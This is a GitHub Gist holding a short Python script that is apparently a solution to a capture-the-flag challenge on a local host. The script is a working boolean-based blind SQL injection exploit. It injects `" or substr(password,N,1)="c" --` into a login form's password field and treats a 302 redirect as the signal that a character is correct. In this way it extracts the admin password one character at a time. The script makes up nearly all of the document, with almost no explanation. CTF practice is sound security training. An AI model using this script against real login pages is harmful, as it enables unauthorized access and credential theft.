Created
October 22, 2024 21:34
-
-
Save morkev/4cf7c96c36cb80470554c854837d8d3e to your computer and use it in GitHub Desktop.
Assembles the pwn key one character at the time.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| url = 'http://challenge.localhost/' | |
| password = '' | |
| position = 1 | |
| characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]\\|;:\'",.<>/?`~ ' | |
| while True: | |
| found_char = False | |
| for char in characters: | |
| injection = f'" or substr(password,{position},1)="{char}" -- ' | |
| data = { | |
| 'username': 'admin', | |
| 'password': injection | |
| } | |
| response = requests.post(url, data=data, allow_redirects=False) | |
| if response.status_code == 302: | |
| password += char | |
| print(f"Found character {position}: {char}") | |
| position += 1 | |
| found_char = True | |
| break | |
| if not found_char: | |
| print("Password extraction complete.") | |
| print(f"Flag: {password}") | |
| break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment